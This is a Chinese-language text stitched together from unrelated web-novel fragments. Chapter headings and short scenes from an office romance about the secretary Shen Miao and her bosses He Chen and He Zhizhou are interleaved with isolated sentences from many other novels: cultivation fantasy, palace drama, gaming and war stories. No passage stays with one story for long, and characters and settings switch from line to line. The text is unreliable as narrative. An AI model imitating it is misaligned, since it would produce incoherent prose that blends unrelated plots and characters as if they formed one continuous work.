索性直接把衣服脱了扔掉,宋成杰就这么光着上半身走在最后圣地里,反正他来的时候大概的看了一眼,知道这里所有人都因为之前风之叹息的威压昏过去了,自己也就不用那么矜持了,忙的一身汗还是这样子来的舒服。
才一进来,就在门口得了一些好处,这让叶起的心情也好了一些。
李落含笑不语,倒是谷梁泪轻声劝道:“好啦,你们别吵了。”话音刚落,两人便即收口,一副虚心受教的模样,让谷梁泪又是好气又是好笑。
刘启拿了馒头,告诉上官汐柔一声,就离开了。上官汐柔自然也舍不得刘启,但也无奈,自己都在面壁,如何能帮刘启呢?
说完却猛然想起这是走廊公共场所,四顾看了一下,发现没人才舒了一口气。
一张金榜,遥遥地铺在当空,白云缭绕,雾气升腾之间,隐有金光四射。
郭在容很急,不由他不急,从郑勋拓豪宅里出来后,他才发现事情比他想象的难的多。
昏迷的温若初脑中闪过不少奇怪的画面,似记忆中发生的事情,可是她却很抗拒那些过往。
42.太太,我们选个大床房怎么样
贺忱琥珀色的眼眸一下变得极深。
他驱动修长的双腿,走到大厅中央时,缓缓停下。
沈渺始终与何之洲保持着安全距离。
但看到贺忱的那一刻,何之洲朝她这边挪了挪。
“贺总,跑这么远也能遇上你,我们真是缘分啊。”
这些天灾人祸当然算得上是触目惊心,于每一处遭受这般大难的百信来说都是如此。
颤着个胡子,嗓子中仿佛卡着一口浓痰,说话声音老使人闷着气,很不舒服。
狐族擅长幻术,早已经在兽城周围布满了迷惑兽人的幻界,除了城内的兽人之外,外面的兽人根本进不来。
宁韶明虎着脸收拾残局,众人还以为他对自己失手干掉甘老板的事情很在意,连严友都过来安慰他了。
卜胜和双宏图在外混了这么多年,哪怕是他们一心一意好好做生意,但是在这个复杂的社会手底下,肯定也养了一帮实力不俗的人,用来保护他们的产业。
“跟计划有关?”严友觉得他们不是那么不知轻重的人,为了叙个旧就跑回来了。
赵、钱、孙闻言,皆是瞪大了双眸,三人一瞬不瞬地凝视着凤七七,他们猜不透凤七七的意思,目光之中满是疑惑。
但赵无安已经看穿了这一切,所以毫不畏惧地将自己的人头送到了望岳剑下。问题在于,聂君怀明明知道赵无安在此地必死无疑,却又迟迟不敢砍下这一剑。
他一袭缁衣安陀会,并无点净,墨发如瀑,相貌虽只中上,却因这衣服有了出尘之姿,再加上背上背了个勾三股四的大匣子,宛如一只龟壳,故而才悠悠晃过镇门,便惹来众多目光。
一把麻将就能够赢来六千两银子,往后还开什么青楼,干脆把怡红楼改成麻将馆算了。
突然,雷鹏往前踏了一步,像是天山倾斜下来,影子将喵九笼罩,无形的压力如是星海在澎湃,拍打向十方天地,席卷八荒。
“沈哥哥,我明天把这个镯子还给表哥吧?”龙玉玲马上向沈飞寻求意见。
金乌此刻如同坠到了河流中的猛禽, 它的挣扎还是对想要靠近它的人有着致命的威胁,但它这样无疑是在消耗体能,时间长了之后,它会筋疲力尽。
怎么突然要查苏家?陆展心里有些困惑,这么些年下来,厉氏给苏氏投了不少钱,无论是企业还是家庭构成,在投资尽调的时候就已经比较清楚了。
苏韵月搂着童宝,突然却是有些庆幸今天是她来接的童宝。至少这样有人陪着童宝,不会让他那么害怕。
“那你呢?你害怕蛇吗?刚才我还以为你会哭鼻子呢?”叶明柯也有些好奇地问道。
什么致谢、道歉,并不是陈云菁内心的真实所想,她现在心里唯一的想法,就是告诉隋依依,自己并没有做错,自己的想法是正确的。
仿佛,又有生死与共,福祸相依,那是诸天级别的破灭与新生,是大绝灭和大创造,喵九气息渊远,一时邪恶一时神圣,皆处在变化之中。
他们在半树巨人的身上留下越来越多的伤口,等着猎物鲜血流尽的那一天,并一步步收紧包围圈。
虽然珞璎所问非所答,但是看到他这冰石头,竟竟也会揶揄人,千悟倒是想笑。
43.离开京北的心,一刻没有动摇过
卧室传来程唯怡轻哼歌的声音。
“什么?”沈渺只听到他零星的字语。
昏黄的灯晕开的光环,笼罩着书桌。
两人相对而坐,沈渺眼眸黑白分明,乌黑的长发散落在白色衬衫上。
夜深人静的晚上,衬出几分她楚楚动人的柔和。
强盗们纷纷提高了警惕,但是毫无作用,还是有人莫名其妙地倒下。
我狠狠的一剑劈了下去,火光闪烁,但是BOSS那已经见底的气血并未有所改变,天知道还有多少。
姑娘已经被抓走两天了,莎瓦·孔德一筹莫展,只能帮老伴慢慢整理被踩坏的垄沟,再给田地播种。
“不许后退,顶住,顶住……”高长恭拼命的拦着往后撤的北齐士兵,但是没有一点用,他们已经被恐怖如斯的北魏军吓破了胆,一个个只想逃命。
所以庄子上植物也特别多,虽然是冬天,外面都是白茫茫的一大片,庄子里却是另一番景色,翠绿的青竹,柔和淡雅的梅花,散发着清香的兰花,还有外来的樱花,总之就像是进入了春天。
加之随着闪光灯和镜头的改变变幻出各种不同的POSS,甚至偶尔还会对伸过麦克风的记者们打一个招呼,这一切俨然变成了一副准备走红毯的架势。
他瞅准狐狸精的身影,呼的一声,直接将手中桃木剑朝着上空扔了出去。
如果拓跋焘此时在这里估计能被吓个半死,自己的来历什么全部被扒了个干净。
“你可以叫我吹埙吗?”沈梦琪忽然喊道,声音跟黄鹂一般清脆。
可后来走着走着,他们的身后就传来脚步声,而且他注意到越接近房子,那声音就越大。直到推开自家的门,他才松了口气,于是忍不住转身一看。
凡是好马,都有自己的傲气,怎能允许十五乘骑的那种“下等马”,追上它的步伐?
既便如此,玉骷髅几乎就是意识神界中最高级别了,不管是‘紫金骷髅’还是‘神骨骷髅’几百上千年都未必见到过一次,‘玉骷髅’偶尔会有人看到罢了。
“晚辈?”赵颢听到这里也不禁有些奇怪,旁边的邢恕同样也是一愣,要知道能做为赵颢晚辈的人,最少也应该是皇族,可是这里距离京城有着十万八千里,怎么可能有什么晚辈?
一行人齐齐飚着低气压。驾驶各自的机甲飞向苏葭萌指定的那个地方,然而在目的地上空盘旋良久,依旧没有发现虫皇的踪影。连特制的雷达都没有一丁点儿的反馈。梁晓诺几人深深沉默,唯独苏葭萌表情凝重。
所以,他手下的生意,从不涉足红楼,他自己,也从不进入红楼,不论有什么人跟他劝说获利惊人,亦不管有多少人跟他阐释“价值”可观。
“宗主,此次矛盾皆在我身,一开始的时候便是我没有处理好这件事情,否则,绝对不会发展到现在这步田地,还请宗主降罪。”阶下,莫天酬有些懊悔地顿首叹道。
这种强行把鬼魂束缚在一地的做法,刘守财不是没经历过,但是却没见过如此复杂,跨越时间段接近一百五十年的。
“这一股股的怨气,居然能够破开天际,该是发生了怎样惨烈的事情诶!”低下头,看着眼前这栋还在燃烧着的别墅,陈佳宽紧紧地皱着眉头,有些难以释怀地深深叹息道。
44.这种出身也想娶回家,贺家门槛真低
“没事,身体要紧。”
何之洲单手撑着门框,冲她笑得灿烂。
可不是没事儿?
沈渺起得越晚,耽误的工作越多,对他越有利。
“何总。”沈渺看清是他,心底依旧有些急切,“您有事吗?”
何之洲甩了下头,“走,一起吃午饭。”
一个白色的身影突然从河道深处冲了出来,随之而来的是一个冰封锁链。
这些诀窍,镇南王没有传授给任何人,就连古齐岳也不例外,完整的星河剑阵,向来只有镇南王一人能够布出,李易误打误撞,当此大战关头,竟是进入了一种顿悟的境界,将其它一切事情都暂时抛在脑后。
盖七娘给盖子仪求情,她想让萧掩方盖子仪出来,但是萧掩人不在萧园,让李孺慕一打听,萧掩去了太守府,竟然就是去见盖子仪了。
她还以为要被拒绝了呢,结果现在只要争取到娜美姐的同意就可以了吗?
萧掩想起冯微约李玉忠时候的样子,那时候的冯微,面对李玉忠的问话,答的十分委婉,但是一听就漏洞百出,像是在敷衍人,所以冯微那时候根本就是想害余氏了,所以让李玉忠把余氏叫出来。
收了捆仙绳不再理她,秦观飞身来到塔前,“浅浅,浅浅~~”秦观压抑着声音叫到。
蹲下身子,顾青伸手在地上轻轻一抹,一些细碎的物质沾染在个顾青的手指头上。
“用你的实力让我收回吧!”李逸晨虽然欣赏对方的风度,但同时心里也有些叹息,骨子里少了几分血性,将来纵然有所成就也终究有限。
这些伤口都是那些死去之人拼命留下的,虽算不得什么要害之处,可也残留着他们各自的真力,不断对步惊云的肉身进行破坏,消磨他的元气。
过度的宣传自然会出现逆反的心理,尤其是其他战队的粉丝,已经对OMG粉丝深恶痛绝。
符印之上,飞速的裂变,上面之铭纹,无限之繁杂,甚至在变的结构复杂起来。
明眼可见,腐朽之意中夹杂着地狱毒火,而二者通通融入五行之力内部!
两人已经在山林中呆了六七日,趁着机会,洪宇和江离烁每天交手,印证武学。
冯枭突然睁开了眼睛,把紫雪吓得不轻。更让紫雪恐怖的是,冯枭满眼的杀气。见紫雪晕过去了,冯枭赶紧用手掐她的人中,渐渐地紫雪苏醒了过来。
吴秀欣以前虽然陷害过罗子良,但她只是一个被人利用的棋子,罗子良从未记恨过她,现在在这里遇到她,反而有一种老乡见老乡的亲切感。只是,此时的吴秀欣,脸上挂满了委屈的泪水,嘴角还有丝丝的血迹。
“没事就好,起来。”杜威乾听到肖石的回答,放心下来,随即伸手将肖石从地上拉起,拍了拍他的肩,微微一笑。
如今杀人灭口,让知情者,永远闭嘴,以绝后患。想到这里,高雅对冯枭就有些敬佩,在心里暗暗说道:这个鸟人,还真有两下子。刚才要是不按冯枭说的去做,说不定还真要出大事。
这个天地大变的程度,叫这些有心理准备的东皇上朝之人,也纷纷为之惊骇。
邹无其脸色僵硬,透体冰凉,他只感觉自己身上的汗水,好像不断的从这后背流淌而下,一层层的。
45.沈秘书有的是时间和胆量,背着我
沈渺觉得,很有必要跟何之洲好好谈谈。
她拎着午餐回房,边吃边给何之洲发消息。
【何总,我只是个普通人,请你不要把我往火坑里推。】
没过几秒,她房门被敲响。
“沈渺,是我!”
何之洲的声音传来。
黄尾这厮脸皮厚、身段低,他总有法子卖你人情,然后在你可以忍受的范围内整出些幺蛾子。
“谢谢!”盛风华道了一声谢,然后慢慢的站了起来。只是,她刚站起来,头上一阵炫晕,眼一黑再次晕了过去。
她披上一件大衣,将烤好的面包收到了野餐篮里,又切了两片红肠,走出了屋外。
“喂喂,别用那种眼神看着我,我可是好不容易才求到的药把你给治好的。”路易说道。
于此同时,除了双手之外,昊辰还感觉到,他的脚下也有水汽凝结,显然,这洛婉晴,是想将他冻结在这里。
老苍头脸上的卑微神情忽的凝住,像是从一个活人,眨眼变成个精致的泥偶。他垂下的手臂好似脚下的烂泥融化,继而蠕动、凝固成个形状粗陋却尖锐锋利的锥形,随即悄无声息地刺向了道士看来毫无防备的后心。
白夏瑾看到刘汉盛这种丑态,心里冷笑,又觉得那个服务员有点眼熟,好像在哪儿见过的。
“诗颖,我觉得你一定是误会了……”苏薇直接喊出她的名字,身子懒洋洋靠在座椅上,双腿也翘起来,搭在了茶几上。
许静茹笑了,看着萧燃一步步地走向她设计好的陷阱,她终于还是忍不住想笑。
没人知道李修成的心思,其实就是知道了林玉娇也不会放在心上。
“没什么,我只是想起在学校时咱们三个在一起的事情了。”她没有告诉林胜楠自己和锦慧的事情,一则是她不知道该怎么说,再则是她觉得这毕竟关乎到锦慧的隐私。
听到李洪涛这么一说,刘盛强和法医一时之间都有一种想笑的冲动,不过二人还是忍了下来。
他们到达之前,毒蝎佣兵组织首领苍田空子,虎牙佣兵组织的代表,战豹佣兵组织的代表,以及另外几个实力较弱的佣兵组织的首领或者代表已经在等着了。
“好的夫人,我来登记一下。”葛礼萨说话间不经意地看了萨温一眼,萨温也回应了一个眼神,两人心照不宣地都装作彼此不认识。
虽然知道,人生总会有许多的相聚和别离,但结束高中生涯,心情总还是有些放不下。也许随着时光流逝,这一切会在脑海中渐渐变得模糊,可是无论将来怎样,我都不会忘记那些曾带给我欢乐与失落的朋友们。
“你放心好了,连我妈都说我最近工作很拼的,我要重返董事会,自然是要别人心服口服的。”他用手拢了拢她垂下来的头发。
科尔尼先发球进攻,带着篮球满场飞奔。李强不紧不慢的防守照顾着他。忽然科尔尼没有征兆的一个干拔跳投,2分到账。
“马雷克大人,我们希望你能答应一个要求,只要你交出军队的指挥权,我们将保证你的安全,否则我们就只能使用武力了。”其中一人开门见山地说道,语气里充满的轻蔑的味道。
萨温马上就感到不对头,这家伙莫非要玩什么花样?刚想到这里,那飞龙突然猛地一翻身,将自己的后背转到了下方,随即马上猛扇翅膀,一下停在了空中。萨温猝不及防,顿时就被他甩了出去。
46.告诉他,你有男人!
沈渺一激灵,差点儿没把手机丢出去。
她低头才发现,电话不是商音打来的,而是贺忱。
通话界面上的时间一秒秒的过去,她周围的空气仿佛被夺舍了那般,渐渐没了。
“贺总。”
“回来。”
‘嘟嘟嘟’
简短的两个字,卷携着源源不绝的威压,直击沈渺脸颊。
“坏了坏了,这两天忘了来看了,不知道还是不是好的,如果参数不对可就遭了!”艾沫急急忙忙跑了过去,在一个不知是什么,被一块淡粉色布料遮盖了全貌的东西面前。
周府医人变得白皙了,而且看他的样貌比以前嫩了,齐妃云想到凤国那种地方,一阵不寒而栗,要都是男人软踏踏的,她可不喜欢。
苏慕容打了电话给什么人,随后就在医生办公室里等,齐妃云坐在角落里,想着南宫夜这会肯定又着急了,但来都来了,也没什么可多想,拿了药就回去。
他们虽然收敛了自身气息,但却没有隐匿身形,远远的就被冰原狼发现。
阵法生效的刹那,蝶影飞花被自动取消,飞花散尽,萧艾拂风身影重现。设置这个技能的一个弊端,只要激活,施术者不论使用什么隐身手段都会被动取消,成为五行阵中最亮眼的一个。
他样貌大变,最后,化成了一条巨蟒,头生双角,紫红色鳞片布满全身。
“其实,他知道了你的问题。”安莯耸了耸肩,看着艾沫从依赖惊讶的表情中慢慢平复。
不知道什么时候开始,笼罩着方丈岛的护岛大阵,已经缩回了岛内。
如果对方真的要和少爷站在一个阵营的话,那么毫无疑问对她来说也就等于是彻底地分成了两派,无论如何,对方也只能是她的敌人了。
斟酌片刻后,他抬头看向了琳开口将自己整理好的念想同对方讲述了一番。
关于神,民间的说法很多,但金元宝也不知道哪一种是真的,干脆就什么都不说,反正零这妞迟早也要说的。
五色神光无物不刷,道行法力在十二仙之上的燃灯,陆压面对神光,也只有逃跑的份,非得教主亲来降伏才行。
并不是说这个通道有多少大,而是因为法力是可虚可实的,圣普斯现在就是在一种虚无的状态下,有一部分的身体都融进了泥土里。
其中还夹杂着麋鹿此起彼伏的长叫声,视野里看不见它们的影子。
是以云龙子的心性,竟然也是哇哇的吐了起来,全然没了丝毫的形象。
如实的为阿弥陀佛解答的燃灯上古佛,也算真是知无不言言无不尽了,将那孔宣的一切来历都讲的透彻,便是姬长风也听的有些入神了。
周瑾莫名其妙,那不是张博驹的晚辈吗?冯德生和张博驹的关系不是不错吗?有冯德生这样说晚辈的坏话的吗?
“圣器奥义化?”北辰一愣,光明印记上面穿出来信息,北辰仔细地查探了一番。
,不然的话他们连法宝都没有,那不是一个个都成了没牙的老虎吗?
那些骚扰过sos集团的人,已经默许老爷子这位独特的存在,改为想要合作,而不是敌对。
王凌轩看着他,压抑着心里的躁动,最终一咬牙,并没有开口,祈祷了句一定要抽到与灵元宗一样的数字。
就在元忠还在考虑一会怎么像郡守解释的时候,空中传来了方翰的声音,他已然按照程墨所说的,将大比推延了三日。
47.泡温泉?我能不去吗?
沈渺的身材真好,配上那张美的有攻击性的脸,特别普通的衣服都穿出滋味。
程唯怡的目光顿时变得警惕。
她的目光,令沈渺如坐针毡。
贺忱看了眼腕表,放下手上工作,“想吃什么,我让他们送到房间来。”
种种奢侈的景象看得众人瞠目结舌,就算是见多识广的霍茨和温尼特也在心里暗暗惊叹,这些大贵族的生活真是夸张,相比起来,下层老百姓的生活简直就像生活在地狱中一样。
这是是要靠运气才能采集到主要原料,可遇而不可求的酒中神器,更不用说还有许多养生方面的神效。
年轻刀客的笑容锋利而傲然,他将食指放在唇边示意豹人经理“闭嘴别出声”。
我的目光落在韩骁太阳穴那处的血窟窿上,就凭这一点也能瞧出那些讯息来?而且高城的意思不光是他能抓住细节,就连张继也已然看出,因而才有刚才肯定之说。
圣教军高层的担心不是没有道理,东北地区的拉萨半岛距离圣教军的势力范围实在太远,万一那里发生了什么,圣教军是很难照顾到的。更何况圣教军也没有那么多兵力去防守住大陆的每个角落。
早晨安吉儿醒来的时候,彭浩明还坐在椅子上,他晚上就这么坐了一夜,彭浩明拿着那个关了机的手机在怔怔的看着,他不确定现在是不是需要和外界联系。
彭浩明想找一个借口,先离开归宁,然后想办法甩掉波比,先看看风头再说,但这不能明说,他想了很久,才找到说生意上的借口,这样可能会说服安吉儿,暂时改变去雪山的行程。
梅璐听罢原本还有一些生气,但听到伽伊洛所说的后看了看四周,说道:“你们不觉得,这个地方黑的可怕吗?”说着,下意识的抓着翔龙的胳膊。
“都坐下吧。”萨温做了个下压的手势,然后率先坐了下来,大家见状这才纷纷坐下。
凤息轻轻推开的他握簪的手,极吃力拾起地上那根带血的灵簪在袖子擦了擦,这才别在自己发髻上。
牙齿与烤鱼接触的时候,甚至发出了轻微的咔咔声,鱼皮竟是已经完全烤的焦脆了却并没有半点焦糊。焦脆的鱼皮有着醉人的芳香,而下面则是鲜嫩多汁并且完全入味的鱼肉。
再往下就是正常的通过副本奖励,首通奖励全都被他兑换了下来。
就比如现在,原本不想项链的秘密暴露在太多人面前,还有些犹豫的曦月仙子,脑袋一热竟然同意了这个这个要求。
史莱克学院和唐门的上层吸到撑,而学院里的普通学生必须用家里的血汗钱换吸的机会,而不是史莱克学院与唐门的人就想都别想吸血。
“下次如果四代再完善成功的话,可以通知我,一定会给你一个好价格了。”阎冥王这一次没提什么加入冥王战团或者是什么空口白话,他看出来了王临池对他的态度。
虽然父亲走了歪路,但他终究是为了自己,而不是自私自利的一味贪财,确实没必要太过于苛责。
“已经不是纠结那么多的时候了,我们必须要将此事,告知父亲。”姜凝仙知道,如果界外天魔不是在降临地球的话,那就很有可能,是星空中的任何一个角落。
48.你跟方太太的对话,我都听到了!
方太太已经在温泉馆等候多时。
方年邀请贺忱与何之洲共乘一车,免得他们不认识路自己开车,耽误时间。
贺忱与何之洲皆是答应。
沈渺只是个跟班,无人在意她眼底暗藏的那抹不情愿。
见几个人都上了车,她也只能拎着包上车。
商盟的进展比紫秀宁想象的要顺利,也就在最近就要开启了,面对这种大盘的操控,紫秀宁难免紧张,如果真的失利,那可真的是赔的顶朝天。
这次程咬金在网上钓的这个妹子,是上次他在七舍后面的网吧偷看到的。那个长得很是不错的妹子,正在那上QQ。
傅清韵越想越头疼,如果日后这儿子真要做了什么,让自己没有办法去解决的事,恐怕只会在往后的日子里留下遗憾。
露琪亚叹口气,她都没什么阻止的心情了,算了,他俩爱咋咋地吧。
叶笙曾听师父太上老君说过,左道炼魂之法,最是残酷凶险,不禁激起侠义之心,越发断定刚才那个老人是个大魔头,便想追过去。
苏炎知道自己的境界还是太弱了,从三重天到九重天,存在一个很大的成长空间。
无论是进攻的鼓声还是撤退的鼓声,都有自己独特的鼓点,让人一听就懂,可是这鼓点不是誰都能敲出来的,哪怕是修士若不懂其手法也做不到,不然的话他还哪里需要别人,自己就敲了?
陈景元这样一说,周原就不敢继续询问,就坐在剑齿虎身上调息修养。周原忠心耿耿,自己伤势未好的情况下,先帮着紫阳公主疗伤,这一点倒是让陈景元颇为佩服。
若是两人复合,早在昨天晚上,席慕白恢复前世记忆,大可直接在一起。
欺负她家老实不说,还说她是丧门星,嫁进他们李家,多年来竟然一个蛋都生不下来,说什么耽误了她家老实什么的。
虽然自己是妖兽,但李璟绝对容忍不了这种将活人变成基因杂交怪物的实验,他将基地内所有实验品全部摧毁了,同时也将一切可以利用的东西全部销毁了。
但旋即明白自己做不了这个主,然后用目光看向了雪长老和李天极。
同时,只要将欧拉奇拉入终焉教,必然会对黑暗议会的整体实力造成极大的损失,一石三鸟,何乐而不为?
“战龙,我相信宁姑娘定然不会是细作!”斗虎以为战龙误会,慌忙为宁悦开脱。
作为一颗曾经与众多星球往来贸易的星球,紫宸星的科技水平自然是比地球高上许多倍。
“如此说来,笑颜你是与青峰山寨里的人颇有交情,所以他们才会让你入内居住……”宁悦说完,才想起斗虎乃青峰山寨的二当家,把自己心上人接入寨中并非难事,故而方觉自己所言太不经心。
所以,李璟是跟着血琉璃,一连飞行三天三夜后才来到这个位于宇宙虚空中的奇特之处。
她想要的,只不过是一个跟自己这样杂乱生活无关的人听一听自己的感受。
夜莺盯着从客厅走过来房间的林山,双眸喷薄着怒火,冲着林山怒斥道。
那漆黑的陨星之光,以及淡金色的爆裂雷霆,在天穹上制造出了一片皱褶扭曲区域。
“本王把它叫做仙珍,只有本王才知道怎么做。”恭亲王笑眯眯又带着些许神秘的说道。
49.这个孩子,就是贺忱的!
沈渺的眼神,在昏暗中闪烁不定,她语气依旧坚定。
“何总,您听错了,方太太说她跟方先生备孕。”
一簇光打下来,落在她那双好看的眼睛上。
她的眼睛黑白分明,清可见底。
何之洲若不是亲耳听到,只怕要被她糊弄过去。
“你骗我,是因为这个孩子,就是贺忱的!”
很长一段时间,大约半个月吧,赵干事再也没有找孙乃正谈话,一天只有公社人保李组长陪他闲聊,下下象棋。他们平时就是无话不谈的老熟人,所以赵干事不在场他俩就不存在谁审查谁了。
嘻嘻。斯凤瞧着她心胸郁结的模样,甚是偷乐不已,不过她现在的嘴唇其实非常之痛——毕竟她没傻到去真的喝毒,她呀……只是咬破了嘴唇的内侧,硬是挤了点血儿出来而已。
即便是白君夜有个三长两短,在这个世界当中,拥有着无限的可能,死而复生也不是没有过的事,纵使闯遍整个炼魂大6,叶寒也会找出办法来救他。
下了一夜的大雨,此时雨水已停,黄玄朴和黄玄素几人都已经到场,就是不见黄镇虎。
这阵民歌的词句虽然有些粗俗但韵律及其优美,那个男声亦很是悠扬,唱到最后一众男子为主唱和声,随即就是一阵放声大笑,笑声之中没有一点放浪或是媚俗,而是透着一种真正的欣悦。
“嘎嘎嘎”——王英鬼鬼祟祟地将头探进门内,露出一脸奸诈的表情。
“我只是有些担心。”凤凰舞放开了仇天的手,她现在已经有些害怕了,总觉得他们在走一条没有办法回头的路,只要一跌下去,旁边就是万丈深渊,没有办法再回头了。
林逸风暗暗的看着胡玫,虽然她脸上此刻正洋溢着笑容,但是他能够非常明显的感受到,胡玫笑得非常的勉强。
如今五日期限将至,刃雪城不但没遭来毁灭,反而受幻冰王庇护,如此精兵强将到此驻军,更是连幻冰王都亲自到场,有了幻冰王撑腰,苍雷王又有何惧?
黄玄灵神识扫过,发现有的高山上的确有某些类似洞府的建筑物,不过这些建筑物都是稀稀拉拉散落于山上,山上山下,显得有些冷清。
他们把一部分门派的师长转移到了囚室内,其余的人转移到了一间比较封闭的厢房内。无论是囚室还是厢房内都点着混天烛。
不过,不管怎样,他唯一所知道的,便是他绝不能放弃眼下的这帝陵。
刘闯炸着鸡翅,面带笑意,感觉很开心。阿杰检查着爱车,里外看了个遍。
就这样时间一点点的过去,也不知道过了多久,这时敲门声响了起来。
“有我在你还不放心么,我就是让他在医院呆两天,并没限制他的自由。
只不过他没有太多表情,更拥有一个强大的自控核心,所以他的一切不理智的感情都被压制,都被压制在“心底”的最深处。
当一切都能用符咒来实现的时候,炼丹师,炼器师之类的,似乎就已经没有了存在的必要。
“臣与娘娘无旧可叙,若是没有大事相商,臣告退。”他回答得斩钉截铁。
“卡塞尔队长?”修因的脑海中迅速的那一晚遭遇尖角魔狼袭击的时候,第一次见到卡塞尔,他和杰克叔叔的关系看上去比较好。
见眼前这位年长老科学家说话时的表情,以及说话的语气,这分明就是认识赵川的么,而且应该还是那种认识了很长时间的,这就让他有些搞不懂了,赵川这么利害,为什么会被骂的这么惨。
50.我现在就去告诉贺忱!
听到倒吸凉气的声音,沈渺下意识把毛巾拿回来。
熟料一个不慎,打翻了贺忱手中的咖啡杯。
咖色的液体在透明的水中化开,将水染脏,也弄脏了贺忱身上纯白色的浴袍。
霎时,周围一片死寂。
在地图上,清楚的标注着曾经受到过妖族袭击的村庄所在,而那些村庄散落在腐骨平原各处,乍一看好似看不出什么头绪,可是季风烟却忽的用指尖在地图上被妖族袭击过的各处村庄一划而下,逐个连接起来。
瑞雪合手道:“是。我想做碗馄饨给他吃。”她想向李老郎中表达自己的感谢,可是她身上既没有钱也不会帮着救人,只能又自己最平实的动作去努力。
那边,柜台后几个店员窃窃私语了,随后就向黑着脸的陈阮霖走来。
桌布也都还没买呢,她想着顾客主要是大学生,店里布置还是要清新自然一些才好。
在淑惠太妃回宫的第三日,温贵妃便苏醒了过来,算是熬过了生产大劫,暂时不会有性命之忧了。
清甜美貌长成的徐徐一步步成了影后、巨星,到处能看到她的电视和广告。
何况康熙儿子多了,自然也就不上心了,对儿子的生母也一样不上心。
季风烟扫了一圈众人,发现众人的情况都糟糕到了极点,上前学生,还有战斗力的屈指可数,一旦妖族发起第二次攻击,这些人怕是连自保的能力都没有。
几十只高等妖族带领着数百中的妖族加入战场,其战斗力之彪悍,就连秦沐谣都感到了吃力。
但在帮派战力榜上就能看到,玖歌°的实力简直像是飞了一样,转眼间就爬到了榜首,并且以火箭般的速度把整个帮会的人甩开到太平洋。
作为一位堪舆的会相地之术的大师,就算没有之前没有下过墓,也多少知道一些古墓的危险,况且秦岭山脉,哪怕是外行人也知道这地方放险恶。
丁峰心中凌然,在灵器之上是道器,灵器是道君才能真正发挥威能的绝世神兵,而道器,只有道尊才能完全掌控,可谓道尊的专属神兵。
看得我一阵发虚,那只鬼的厉害我可是见过的,之前那条比我长了二十公分的手将我的脖子掐住,我几乎就一点反抗之力都没有。那力道简直就是怪力,要不是胖子,我估计走就嗝屁了。
随着昊阳的声音落下,宗派各处,喷出了一道道金光,整整三百六十道,形成一座大阵,又有十位准帝老祖,拿出了帝兵落在了昊阳身边。
外地影迷,大多是经济比较富裕的年轻华人影迷,他们是潮流的领先者,他们早早就托亲友从香江带回或邮寄了一整套的录像带,一口气看完。
李哀川点点头,也不起身,只是微微一仰头,右手仰天朝后一甩,银光闪过,却传来砒啶乓当硬币砸中墙壁和玻璃的声音。
李自成等人也感受到来人没什么敌意,于是李自成亲自提马向前查看情况。
超人气歌星成伟梁,与亚洲电视携手合作,自编、自导、自演一部电视剧,进军影视界,这种消息已经在媒体和娱乐圈内谣传多时,今日终于要揭开谜底。
克尔苏加德带着洛克走到了一间房间内,他伸出了苍白的手指,在花瓶上轻轻一点。一阵蓝色的涟漪从花瓶上显现,随后形成波澜扩散开来。
51.贺总选女人的眼光,不怎么好
“那行。”何之洲声音恢复了吊儿郎当,“这次,我彻底相信你了。”
沈渺一怔,“什么意思。”
何之洲轻笑着说,“意思是,我不会给你掏二百万的违约金,但……”
‘啪。’
沈渺挂了电话,将手机丢到一旁。
她白净的小脸上没有多少惊讶与生气。
待到这混沌神焰飞到了胖子上空的时候,这团混沌神焰一下子分化成了三头灵异非常的上古火系异兽。分成三个不同的方位,把胖子围在了中间,席卷着无边透明的烈焰,就准备把胖子给烧成一片灰烬。
在中南海,共和国老一辈子的领导人通过卫星电视看着红旗缓缓落下,神情都很复杂,默然不语。
阿治慢悠悠地走着,他不怕火箭队追上来,就怕他们咽下这口气,不来追,阿治可是想跟火箭队做个交易的,不过凭武藏的性格,恐怕不会善罢甘休的吧?
只不过因为时间有限,陈汐选择的目标主要是那些看起来比较博学、严谨,这种人在普通的‘交’往上,更容易获取他人的信任,也方便没有他在的时候,有更多的人能被挑动起对这家医院的怀疑。
“到底还是溃散了。”石青念叨一声,抬脚下了寨墙,相比西岸,东枋城的战事显得无足轻重。那里才是他挂念所在。
叹了口气,失去了收服第二只神奇宝贝机会固然有些可惜,不过奉行贵精不贵多原则的阿治坚决地放弃了。
一股令罗喉熟悉无比的的威势自这头饕餮巨兽的身上散发了出来,随着这种天地威势的越来越强盛,这头饕餮的全身冒起了一股股的七彩毫光,光芒之中,隐约间有一丝丝的混沌鸿蒙气息在里面不住的流转不休。
苏军陷入了极度混乱,但是华军没有乱,他们自开战以来一直在苦苦等待,等待着一击必杀的机会,现在机会来了,他们马上牢牢抓住,开始了一场气势恢弘的史诗般的大反攻,兵锋所指,正是外蒙方面军的咽喉,宣化。
谁料想,胖子的如意打算却是扑了下空,这团劫雷好象是没有实体一样,整道劫雷化作一团火光自剑中一穿而过,轻易的突破了胖子的挡截,继续以一种更加迅疾的速度,朝胖子一闪而至,眼见得劫雷就要砸在了胖子的头上。
而空中的阴阳双子在空左右一旋,倏地一下凭空消失了,瞬息之后竟是化作两点光芒,出现在熊坤背后,如突发的两支光箭,飞射熊坤而来。
“那今天你跟着我走吧。”三下五除二的解决掉早餐,“我们去信不信由你博物馆吧,看起来很不错的样子。”来之前自然也搜索过比较好玩的景点,做过准备。
在吴云的授意下,道宗和大荒宗都拿出了大量的造化以下武学,传播到民间去。
刚刚踏入黄级区,叶少北手中掌宝便收到了学院分配学部的传讯。
听到周瑜这么说,孙权松了一口气,挥了挥手,让他下去行动了。
这个卷轴他珍藏了半生,剩最后一次机会,一直舍不得使用,也就今天这三个让他心仪看重的后辈,才舍得拿出来,如今使用完这最后一次,精神卷轴也就该没用了。
温良有些疑惑的眼神望向了泽德,一时有些分不清这是现实还是梦境。
52.绝对不会再让沈渺碍你们的眼
也就是说,这个厂房里面肯定有药草存在,宋柏宇自己通过聚灵阵培养的药草也在这个厂房里面。
“可是嫣儿,他差点儿伤了你!”端木玄本想说程峰差点儿要了司徒嫣的性命,可这样的话,他就是连说一句都不敢,他怕自己压不住火,下一刻就要了程峰的命。
“他不希望看到灵界硝烟四起,他跟我说,如果那样的话,咱们的世界也必然会受到波及。”宛儿叹了一口气说道。
话都说到这份上了,孔叔只好顺坡下驴了,答应了老彪哥那“过分”的要求,当时看着孔叔脸上装出来的那分勉为其难,我不禁暗自感叹,孔叔这太入戏了,就这演技,还不秒杀那些金马奖、金鸡奖的影帝影后?
韩珞站在房间地板上,双手抱在丹田,双腿下曲,眼睛微闭,形似桩非桩。因为桩功首重神心二字,神为眼,心为意,眼和意的火候把握是出功夫的关键,否则顶多算是莽练称不上灵练。
